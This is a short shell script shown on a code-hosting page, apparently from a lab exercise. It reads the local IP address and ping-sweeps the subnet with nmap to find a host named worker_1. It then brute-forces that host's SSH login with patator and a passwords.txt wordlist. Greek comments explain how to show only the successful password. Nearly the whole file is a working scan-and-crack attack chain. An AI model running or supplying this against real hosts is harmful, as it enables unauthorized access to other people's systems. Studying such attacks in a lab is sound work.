You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
8 lines
478 B
8 lines
478 B
4 years ago
|
my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}')
|
||
|
network=$(echo $my_ip | sed 's/.[0-9]$/.*/')
|
||
|
worker=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()')
|
||
|
patator ssh_login user=$my_ip password=FILE0 0=passwords.txt host=$worker
|
||
|
#emfanizei kai tis apotyximenes prospatheies
|
||
|
#patator ssh_login user=$my_ip password=FILE0 0=passwords.txt host=$worker -x ignore:mesg='Authentication failed.'
|
||
|
#emfanizei mono tin epithesi ston kwdiko pou isxuei
|